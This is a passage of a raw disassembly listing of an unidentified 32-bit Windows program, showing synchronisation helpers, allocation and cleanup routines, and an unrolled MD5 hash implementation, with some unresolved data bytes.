call dword_50E3EC ; InterlockedCompareExchange
dec eax
jz short loc_433494
dec eax
jz short loc_4334BD
dec eax
jnz short loc_4334C1
add esi, 4
push esi
call sub_4010C3
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_4334BD: ; CODE XREF: ___:004334AAj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4334C1: ; CODE XREF: ___:00433487j
; ___:0043348Dj ...
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4334F0: ; CODE XREF: ___:00401933j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433540
mov eax, [esi]
test eax, eax
jz short loc_433540
cmp eax, 0FFFFFFFFh
jnz short loc_433511
push esi
call sub_401992
add esp, 4
test eax, eax
jnz short loc_433545
loc_433511: ; CODE XREF: ___:00433502j
mov esi, [esi]
push 1
push 2
push esi
call dword_50E3EC ; InterlockedCompareExchange
dec eax
jz short loc_43353C
dec eax
jz short loc_433535
dec eax
jnz short loc_433540
add esi, 4
push esi
call sub_40177B
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_433535: ; CODE XREF: ___:00433522j
mov eax, 10h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43353C: ; CODE XREF: ___:0043351Fj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_433540: ; CODE XREF: ___:004334F7j
; ___:004334FDj ...
mov eax, 16h
loc_433545: ; CODE XREF: ___:0043350Fj
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433570: ; CODE XREF: ___:00401244j
push esi
mov esi, [esp+8]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_43359C
mov eax, [esi+20h]
mov ecx, 1
cmp eax, ecx
jnz short loc_433597
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433597: ; CODE XREF: ___:0043358Ej
xor eax, eax
mov [esi+20h], ecx
loc_43359C: ; CODE XREF: ___:00433582j
pop esi
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4335B0 proc near ; CODE XREF: sub_40175Dj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_43363C
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4335D4
mov eax, 2
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335D4: ; CODE XREF: sub_4335B0+1Bj
push edi
push esi
push eax
call sub_401A50
add esp, 8
test eax, eax
jz short loc_4335ED
mov edi, 24h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335ED: ; CODE XREF: sub_4335B0+31j
cmp dword ptr [esi+20h], 1
jnz short loc_4335FD
mov edi, 16h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335FD: ; CODE XREF: sub_4335B0+41j
mov eax, [esi+4]
push eax
call sub_401640
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
dd 0D405E890h, 0C085022Fh, 0E8560E74h, 0FFFCE181h, 8B04C483h
dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------
loc_43363C: ; CODE XREF: sub_4335B0+12j
pop esi
retn
sub_4335B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433670 proc near ; CODE XREF: sub_4015FFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 10h
push 1
xor edi, edi
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433695
mov ecx, [esp+8+arg_0]
pop edi
mov eax, 0Ch
mov [ecx], esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433695: ; CODE XREF: sub_433670+15j
nop
call near ptr 2730624h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jnz short loc_4336BE
push esi
mov edi, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+0Ch+arg_0]
add esp, 4
xor eax, eax
mov [edx], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4336BE: ; CODE XREF: sub_433670+30j
mov eax, [esp+8+arg_4]
test eax, eax
jz short loc_4336DB
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov dword ptr [esi+8], 0FFFFFFFFh
mov [eax], esi
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4336DB: ; CODE XREF: sub_433670+54j
mov ecx, [esp+8+arg_0]
mov eax, edi
pop edi
mov [ecx], esi
pop esi
retn
sub_433670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433710 proc near ; CODE XREF: sub_401AA0j
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push ebp
xor ebp, ebp
cmp ebx, ebp
jz loc_4337A0
cmp [ebx+0Ch], ebp
jz short loc_43377C
cmp [ebx+4], ebp
jz short loc_43377C
lea eax, [ebx+8]
push eax
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43377C
push esi
mov esi, [ebx+0Ch]
cmp esi, ebp
jz short loc_43376F
push edi
loc_433743: ; CODE XREF: sub_433710+5Cj
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43376A
mov edi, [esi+10h]
push esi
mov [esi+8], ebp
mov [esi+10h], ebp
call sub_4010C3
push esi
call sub_40105F
add esp, 8
mov esi, edi
loc_43376A: ; CODE XREF: sub_433710+3Ej
cmp esi, ebp
jnz short loc_433743
pop edi
loc_43376F: ; CODE XREF: sub_433710+30j
lea eax, [ebx+8]
push eax
call sub_4010C3
add esp, 4
pop esi
loc_43377C: ; CODE XREF: sub_433710+13j
; sub_433710+18j ...
mov eax, [ebx]
push eax
call near ptr 2730000h
nop
cmp [ebx+4], ebp
jz short loc_433796
lea ecx, [ebx+8]
push ecx
call sub_40222F
add esp, 4
loc_433796: ; CODE XREF: sub_433710+78j
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4337A0: ; CODE XREF: sub_433710+Aj
pop ebp
xor eax, eax
pop ebx
retn
sub_433710 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4337E0 proc near ; CODE XREF: sub_4020DBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_50E3D8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
cmp esi, eax
jz short loc_433804
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_433813
pop esi
mov eax, 2
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433804: ; CODE XREF: sub_4337E0+11j
push eax
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_433813
mov eax, ebx
loc_433813: ; CODE XREF: sub_4337E0+1Aj
; sub_4337E0+2Fj
push edi
xor edi, edi
test esi, esi
jz short loc_433875
test eax, eax
jz short loc_433862
mov ecx, [esi+4]
test ecx, ecx
jz short loc_433862
test ebx, ebx
jz short loc_433862
mov ecx, [eax+80h]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jz short loc_43384D
loc_433837: ; CODE XREF: sub_4337E0+65j
cmp [ecx+8], esi
jz short loc_433849
mov ecx, [ecx+0Ch]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jnz short loc_433837
jmp short loc_43384D
; ---------------------------------------------------------------------------
loc_433849: ; CODE XREF: sub_4337E0+5Aj
test ecx, ecx
jnz short loc_433862
loc_43384D: ; CODE XREF: sub_4337E0+55j
; sub_4337E0+67j
push esi
push eax
lea eax, [esp+14h+arg_0]
push eax
call sub_401DC5
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_433875
loc_433862: ; CODE XREF: sub_4337E0+3Cj
; sub_4337E0+43j ...
mov ecx, [esi]
push ebx
push ecx
nop
call near ptr 2750000h
test eax, eax
jnz short loc_433875
mov edi, 0Bh
loc_433875: ; CODE XREF: sub_4337E0+38j
; sub_4337E0+80j ...
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_4337E0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4338B0 proc near ; CODE XREF: sub_401190j
push ebx
push esi
push edi
call near ptr 27C07D9h
nop
mov esi, eax
call sub_436F5A
sub_4338B0 endp
; ---------------------------------------------------------------------------
dd 448BF88Bh, 88B1024h, 45E89051h, 56022ED2h, 0E890D88Bh
dd 22ED389h, 36C4E857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_433900 proc near ; CODE XREF: sub_401A55j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
mov [eax+14h], ecx
mov [eax+10h], ecx
mov dword ptr [eax], 67452301h
mov dword ptr [eax+4], 0EFCDAB89h
mov dword ptr [eax+8], 98BADCFEh
mov dword ptr [eax+0Ch], 10325476h
retn
sub_433900 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433940 proc near ; CODE XREF: sub_401C12j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, [esp+10h+arg_8]
mov ecx, [esi+10h]
mov eax, ecx
lea edx, ds:0[edi*8]
shr eax, 3
lea ecx, [ecx+edi*8]
and eax, 3Fh
cmp ecx, edx
mov [esi+10h], ecx
jnb short loc_43396B
inc dword ptr [esi+14h]
loc_43396B: ; CODE XREF: sub_433940+26j
mov ebx, [esi+14h]
mov ecx, edi
shr ecx, 1Dh
add ebx, ecx
mov [esi+14h], ebx
mov ebx, 40h
sub ebx, eax
cmp edi, ebx
jb short loc_4339C9
mov edx, [esp+10h+arg_4]
push ebx
lea eax, [eax+esi+18h]
push edx
push eax
call sub_434740
lea ecx, [esi+18h]
push ecx
push esi
call sub_433AB0
mov ebp, ebx
add ebx, 3Fh
add esp, 14h
cmp ebx, edi
jnb short loc_4339C5
loc_4339A9: ; CODE XREF: sub_433940+83j
mov edx, [esp+10h+arg_4]
lea eax, [edx+ebx-3Fh]
push eax
push esi
call sub_433AB0
add ebx, 40h
add esp, 8
add ebp, 40h
cmp ebx, edi
jb short loc_4339A9
loc_4339C5: ; CODE XREF: sub_433940+67j
xor eax, eax
jmp short loc_4339CB
; ---------------------------------------------------------------------------
loc_4339C9: ; CODE XREF: sub_433940+41j
xor ebp, ebp
loc_4339CB: ; CODE XREF: sub_433940+87j
mov ecx, [esp+10h+arg_4]
sub edi, ebp
add ebp, ecx
push edi
lea edx, [eax+esi+18h]
push ebp
push edx
call sub_434740
add esp, 0Ch
pop edi
pop esi
pop ebp
pop ebx
retn
sub_433940 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433A20 proc near ; CODE XREF: sub_402158j
var_8 = byte ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 8
lea eax, [esp+8+var_8]
push esi
push edi
mov edi, [esp+10h+arg_4]
push 8
lea esi, [edi+10h]
push esi
push eax
call sub_434660
mov eax, [esi]
add esp, 0Ch
shr eax, 3
and eax, 3Fh
mov ecx, 38h
cmp eax, 38h
jb short loc_433A53
mov ecx, 78h
loc_433A53: ; CODE XREF: sub_433A20+2Cj
sub ecx, eax
push ecx
push offset aA ; "€"
push edi
call sub_401C12
lea ecx, [esp+1Ch+var_8]
push 8
push ecx
push edi
call sub_401C12
mov edx, [esp+28h+arg_0]
push 10h
push edi
push edx
call sub_434660
push 58h
push 0
push edi
call sub_434770
add esp, 30h
pop edi
pop esi
add esp, 8
retn
sub_433A20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433AB0 proc near ; CODE XREF: sub_433940+58p
; sub_433940+73p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 40h
mov ecx, [esp+40h+arg_4]
push ebx
push ebp
push esi
mov esi, [esp+4Ch+arg_0]
push edi
push 40h
lea edx, [esp+54h+var_40]
mov eax, [esi]
mov edi, [esi+4]
mov ebx, [esi+8]
mov ebp, [esi+0Ch]
push ecx
push edx
mov [esp+5Ch+arg_0], eax
call sub_4346D0
mov eax, edi
mov edx, [esp+5Ch+arg_0]
not eax
mov ecx, ebx
and eax, ebp
and ecx, edi
or eax, ecx
mov ecx, [esp+5Ch+var_40]
add eax, ecx
lea ecx, [edx+eax-28955B88h]
mov edx, edi
mov eax, ecx
shr eax, 19h
shl ecx, 7
or eax, ecx
add eax, edi
mov ecx, eax
and edx, eax
not ecx
and ecx, ebx
or ecx, edx
mov edx, [esp+5Ch+var_3C]
add ecx, edx
lea edx, [ecx+ebp-173848AAh]
mov ecx, edx
shr ecx, 14h
shl edx, 0Ch
or ecx, edx
add ecx, eax
mov edx, ecx
mov ebp, ecx
not edx
and edx, edi
and ebp, eax
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, ecx
lea ebx, [ebx+edx+242070DBh]
mov edx, ebx
shr edx, 0Fh
shl ebx, 11h
or edx, ebx
add edx, ecx
mov ebx, edx
and ebp, edx
not ebx
and ebx, eax
or ebx, ebp
mov ebp, [esp+5Ch+var_34]
add ebx, ebp
lea ebx, [edi+ebx-3E423112h]
mov edi, ebx
shl edi, 16h
shr ebx, 0Ah
or edi, ebx
mov ebx, edx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_30]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea eax, [eax+edi-0A83F051h]
mov edi, eax
shr edi, 19h
shl eax, 7
or edi, eax
add edi, ebx
mov eax, edi
and ebp, edi
not eax
and eax, edx
or eax, ebp
mov ebp, [esp+5Ch+var_2C]
add eax, ebp
lea ecx, [ecx+eax+4787C62Ah]
mov eax, ecx
shr eax, 14h
shl ecx, 0Ch
or eax, ecx
add eax, edi
mov ecx, eax
mov ebp, eax
not ecx
and ecx, ebx
and ebp, edi
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, eax
lea edx, [edx+ecx-57CFB9EDh]
mov ecx, edx
shr ecx, 0Fh
shl edx, 11h
or ecx, edx
add ecx, eax
mov edx, ecx
and ebp, ecx
not edx
and edx, edi
or edx, ebp
mov ebp, [esp+5Ch+var_24]
add edx, ebp
lea ebx, [ebx+edx-2B96AFFh]
mov edx, ebx
shl edx, 16h
shr ebx, 0Ah
or edx, ebx
mov ebx, ecx
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_20]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edi, [edi+edx+698098D8h]
mov edx, edi
shr edx, 19h
shl edi, 7
or edx, edi
add edx, ebx
mov edi, edx
and ebp, edx
not edi
and edi, ecx
or edi, ebp
mov ebp, [esp+5Ch+var_1C]
add edi, ebp
lea eax, [eax+edi-74BB0851h]
mov edi, eax
shr edi, 14h
shl eax, 0Ch
or edi, eax
add edi, edx
mov eax, edi
not eax
mov ebp, edi
and eax, ebx
and ebp, edx
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, edi
lea ecx, [ecx+eax-0A44Fh]
mov eax, ecx
shr eax, 0Fh
shl ecx, 11h
or eax, ecx
add eax, edi
mov ecx, eax
and ebp, eax
not ecx
and ecx, edx
or ecx, ebp
mov ebp, [esp+5Ch+var_14]
add ecx, ebp
lea ebx, [ebx+ecx-76A32842h]
mov ecx, ebx
shl ecx, 16h
shr ebx, 0Ah
or ecx, ebx
mov ebx, eax
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, edi
and ebx, ebp
mov ebp, [esp+5Ch+var_10]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edx, [edx+ecx+6B901122h]
mov ecx, edx
shr ecx, 19h
shl edx, 7
or ecx, edx
add ecx, ebx
mov edx, ecx
and ebp, ecx
not edx
and edx, eax
or edx, ebp
mov ebp, [esp+5Ch+var_C]
add edx, ebp
lea edi, [edi+edx-2678E6Dh]
mov edx, edi
shr edx, 14h
shl edi, 0Ch
or edx, edi
add edx, ecx
mov ebp, edx
mov edi, edx
not ebp
and edi, ecx
and ebx, ebp
or edi, ebx
mov ebx, [esp+5Ch+var_8]
add edi, ebx
mov ebx, edx
lea eax, [eax+edi-5986BC72h]
mov edi, eax
shr edi, 0Fh
shl eax, 11h
or edi, eax
add edi, edx
mov eax, edi
and ebx, edi
not eax
mov [esp+5Ch+arg_4], eax
and eax, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_4]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax+49B40821h]
mov eax, ebx
shl eax, 16h
shr ebx, 0Ah
or eax, ebx
mov ebx, edx
add eax, edi
mov [esp+5Ch+arg_0], eax
and ebx, eax
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_3C]
or ebx, eax
add ebx, ebp
mov ebp, edi
lea ecx, [ecx+ebx-9E1DA9Eh]
mov ebx, [esp+5Ch+arg_0]
mov eax, ecx
shr eax, 1Bh
shl ecx, 5
or eax, ecx
mov ecx, [esp+5Ch+arg_4]
add eax, ebx
and ecx, ebx
and ebp, eax
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edx, [edx+ecx-3FBF4CC0h]
and ebx, eax
mov ecx, edx
shr ecx, 17h
shl edx, 9
or ecx, edx
add ecx, eax
mov edx, ecx
and edx, ebp
mov ebp, [esp+5Ch+var_14]
or ebx, edx
add ebx, ebp
lea edi, [edi+ebx+265E5A51h]
mov edx, edi
shr edx, 12h
shl edi, 0Eh
or edx, edi
mov edi, eax
add edx, ecx
not edi
mov ebx, edx
and edi, ecx
and ebx, eax
or edi, ebx
mov ebx, [esp+5Ch+var_40]
add edi, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edi-16493856h]
mov edi, ebx
shl edi, 14h
shr ebx, 0Ch
or edi, ebx
mov ebx, ecx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov edi, ecx
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, edx
and ebx, ebp
mov ebp, [esp+5Ch+var_2C]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
lea eax, [eax+edi-29D0EFA3h]
mov edi, eax
shr edi, 1Bh
shl eax, 5
or edi, eax
mov eax, edx
add edi, ebx
not eax
mov ebp, edx
and eax, ebx
and ebp, edi
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea ecx, [ecx+eax+2441453h]
and ebx, edi
mov eax, ecx
shr eax, 17h
shl ecx, 9
or eax, ecx
add eax, edi
mov ecx, eax
and ecx, ebp
mov ebp, [esp+5Ch+var_4]
or ebx, ecx
add ebx, ebp
lea edx, [edx+ebx-275E197Fh]
mov ecx, edx
shr ecx, 12h
shl edx, 0Eh
or ecx, edx
mov edx, edi
add ecx, eax
not edx
mov ebx, ecx
and edx, eax
and ebx, edi
or edx, ebx
mov ebx, [esp+5Ch+var_30]
add edx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edx-182C0438h]
mov edx, ebx
shl edx, 14h
shr ebx, 0Ch
or edx, ebx
mov ebx, eax
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov edx, eax
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_1C]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ecx
lea edi, [edi+edx+21E1CDE6h]
mov edx, edi
shr edx, 1Bh
shl edi, 5
or edx, edi
mov edi, ecx
add edx, ebx
not edi
and edi, ebx
and ebp, edx
or edi, ebp
mov ebp, [esp+5Ch+var_8]
add edi, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea eax, [eax+edi-3CC8F82Ah]
and ebx, edx
mov edi, eax
shr edi, 17h
shl eax, 9
or edi, eax
add edi, edx
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_34]
or ebx, eax
add ebx, ebp
lea ecx, [ecx+ebx-0B2AF279h]
mov eax, ecx
shr eax, 12h
shl ecx, 0Eh
or eax, ecx
mov ecx, edx
add eax, edi
not ecx
mov ebx, eax
and ecx, edi
and ebx, edx
or ecx, ebx
mov ebx, [esp+5Ch+var_20]
add ecx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+ecx+455A14EDh]
mov ecx, ebx
shl ecx, 14h
shr ebx, 0Ch
or ecx, ebx
mov ebx, edi
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ecx, edi
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_C]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, eax
lea edx, [edx+ecx-561C16FBh]
mov ecx, edx
shr ecx, 1Bh
shl edx, 5
or ecx, edx
mov edx, eax
add ecx, ebx
not edx
and edx, ebx
and ebp, ecx
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edi, [edi+edx-3105C08h]
and ebx, ecx
mov edx, edi
shr edx, 17h
shl edi, 9
or edx, edi
add edx, ecx
mov edi, edx
and edi, ebp
mov ebp, [esp+5Ch+var_24]
or ebx, edi
add ebx, ebp
lea eax, [eax+ebx+676F02D9h]
mov edi, eax
shr edi, 12h
shl eax, 0Eh
or edi, eax
mov eax, ecx
add edi, edx
not eax
mov ebx, edi
and eax, edx
and ebx, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_10]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax-72D5B376h]
mov eax, ebx
shl eax, 14h
shr ebx, 0Ch
or eax, ebx
add eax, edi
mov ebp, [esp+5Ch+var_2C]
mov ebx, edx
xor ebx, edi
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_20]
lea ecx, [ecx+ebx-5C6BEh]
mov ebx, ecx
shr ebx, 1Ch
shl ecx, 4
or ebx, ecx
mov ecx, edi
add ebx, eax
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_14]
lea ecx, [edx+ecx-788E097Fh]
mov edx, ecx
shr edx, 15h
shl ecx, 0Bh
or edx, ecx
add edx, ebx
mov ecx, edx
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_8]
lea ecx, [edi+ecx+6D9D6122h]
mov edi, ecx
shr edi, 10h
shl ecx, 10h
or edi, ecx
mov ecx, edx
add edi, edx
xor ecx, edi
mov [esp+5Ch+arg_0], ecx
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_3C]
lea eax, [eax+ecx-21AC7F4h]
mov ecx, eax
shl ecx, 17h
shr eax, 9
or ecx, eax
mov eax, [esp+5Ch+arg_0]
add ecx, edi
xor eax, ecx
add eax, ebp
mov ebp, [esp+5Ch+var_30]
lea ebx, [ebx+eax-5B4115BCh]
mov eax, ebx
shr eax, 1Ch
shl ebx, 4
or eax, ebx
mov ebx, edi
add eax, ecx
xor ebx, ecx
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_24]
lea edx, [edx+ebx+4BDECFA9h]
mov ebx, edx
shr ebx, 15h
shl edx, 0Bh
or ebx, edx
add ebx, eax
mov edx, ebx
xor edx, ecx
xor edx, eax
add edx, ebp
lea edi, [edi+edx-944B4A0h]
mov edx, edi
shr edx, 10h
shl edi, 10h
or edx, edi
mov edi, ebx
add edx, ebx
xor edi, edx
mov ebp, edi
xor ebp, eax
add ebp, [esp+5Ch+var_18]
lea ebp, [ecx+ebp-41404390h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_C]
add ecx, edx
xor edi, ecx
add edi, ebp
mov ebp, [esp+5Ch+var_40]
lea edi, [eax+edi+289B7EC6h]
mov eax, edi
shr eax, 1Ch
shl edi, 4
or eax, edi
mov edi, edx
add eax, ecx
xor edi, ecx
xor edi, eax
add edi, ebp
mov ebp, [esp+5Ch+var_34]
lea ebx, [ebx+edi-155ED806h]
mov edi, ebx
shr edi, 15h
shl ebx, 0Bh
or edi, ebx
add edi, eax
mov ebx, edi
xor ebx, ecx
xor ebx, eax
add ebx, ebp
lea edx, [edx+ebx-2B10CF7Bh]
mov ebx, edx
shr ebx, 10h
shl edx, 10h
or ebx, edx
mov edx, edi
add ebx, edi
xor edx, ebx
mov ebp, edx
xor ebp, eax
add ebp, [esp+5Ch+var_28]
lea ebp, [ecx+ebp+4881D05h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_1C]
add ecx, ebx
xor edx, ecx
add edx, ebp
lea edx, [eax+edx-262B2FC7h]
mov eax, edx
shr eax, 1Ch
shl edx, 4
or eax, edx
mov edx, ebx
add eax, ecx
xor edx, ecx
xor edx, eax
add edx, [esp+5Ch+var_10]
lea edi, [edi+edx-1924661Bh]
mov edx, edi
shr edx, 15h
shl edi, 0Bh
or edx, edi
add edx, eax
mov edi, edx
xor edi, ecx
xor edi, eax
add edi, [esp+5Ch+var_4]
lea ebx, [ebx+edi+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, edx
add edi, edx
xor ebx, edi
xor ebx, eax
add ebx, [esp+5Ch+var_38]
lea ecx, [ecx+ebx-3B53A99Bh]
mov ebx, ecx
shl ebx, 17h
shr ecx, 9
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_40]
lea eax, [eax+ecx-0BD6DDBCh]
mov ecx, eax
shr ecx, 1Ah
shl eax, 6
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_24]
lea edx, [edx+eax+432AFF97h]
mov eax, edx
shr eax, 16h
shl edx, 0Ah
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_8]
lea edi, [edi+edx-546BDC59h]
mov edx, edi
shr edx, 11h
shl edi, 0Fh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_2C]
lea ebx, [ebx+edi-36C5FC7h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_10]
lea ecx, [ecx+ebx+655B59C3h]
mov ebx, ecx
shr ebx, 1Ah
shl ecx, 6
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_34]
lea eax, [eax+ecx-70F3336Eh]
mov ecx, eax
shr ecx, 16h
shl eax, 0Ah
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_18]
lea edx, [edx+eax-100B83h]
mov eax, edx
shr eax, 11h
shl edx, 0Fh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_3C]
lea edi, [edi+edx-7A7BA22Fh]
mov edx, edi
shl edx, 15h
shr edi, 0Bh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_20]
lea ebx, [ebx+edi+6FA87E4Fh]
mov edi, ebx
shr edi, 1Ah
shl ebx, 6
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_4]
lea ecx, [ecx+ebx-1D31920h]
mov ebx, ecx
shr ebx, 16h
shl ecx, 0Ah
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_28]
lea eax, [eax+ecx-5CFEBCECh]
mov ecx, eax
shr ecx, 11h
